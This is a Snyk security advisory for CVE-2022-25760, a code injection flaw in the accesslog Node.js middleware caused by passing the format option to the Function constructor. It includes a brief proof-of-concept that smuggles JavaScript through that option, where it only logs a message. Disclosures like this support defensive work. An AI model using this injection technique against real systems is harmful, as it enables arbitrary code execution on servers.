CVE-2022-25760: Arbitrary Code Injection in accesslog | CVE-2022-25760 | Snyk

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• snyk-id

  SNYK-JS-ACCESSLOG-2312099

• published

  27 Feb 2022

• disclosed

  8 Dec 2021

• credit

  OmniTaint

How to fix?

There is no fixed version for accesslog.

Overview

accesslog is a simple common/combined access log middleware

Affected versions of this package are vulnerable to Arbitrary Code Injection due to the usage of the Function constructor without input sanitization. If (attacker-controlled) user input is given to the format option of the package’s exported constructor function, it is possible for an attacker to execute arbitrary JavaScript code on the host that this package is being run on.

PoC

var accesslog = require('accesslog');
var handler = accesslog({
  format: `\\\" + console.log('XSS');//`,
});
var req = {};
var res = {
   end: function() {},
 };
 handler(req, res, function() {});
 res.end();